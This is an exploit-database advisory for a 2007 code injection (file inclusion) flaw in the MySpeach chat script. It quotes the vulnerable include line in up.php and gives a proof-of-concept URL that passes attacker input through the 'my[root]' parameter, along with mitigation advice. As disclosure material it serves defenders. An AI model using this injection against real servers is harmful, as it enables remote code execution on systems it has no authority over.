MySpeach Script

vendor:

MySpeach

by:

Dr Max Virus

7.5

CVSS

HIGH

Code Injection

CWE

Product Name: MySpeach

Affected Version From: beta2.1 and maybe older

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

The MySpeach script is affected by a code injection vulnerability in the 'up.php' file. An attacker can exploit this vulnerability by injecting malicious code through the 'my[root]' parameter in the URL. This can lead to arbitrary code execution on the target system.

Mitigation:

The vendor should release a patch to fix the code injection vulnerability. In the meantime, users are advised to restrict access to the 'up.php' file or apply a temporary fix to sanitize user input.

Source

Exploit-DB raw data:

------------------------------------------------------------------------------------------------------------------------
Script:MySpeach
Affected Version:beta2.1 and maybe older
Downlaoad:http://www.graphiks.net/scripts/chat/myspeach-2.1beta.zip
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (up.php)
Vul Code;
include_once($my['root'].'/admin/funcs.php');
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/up.php?my[root]=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-20]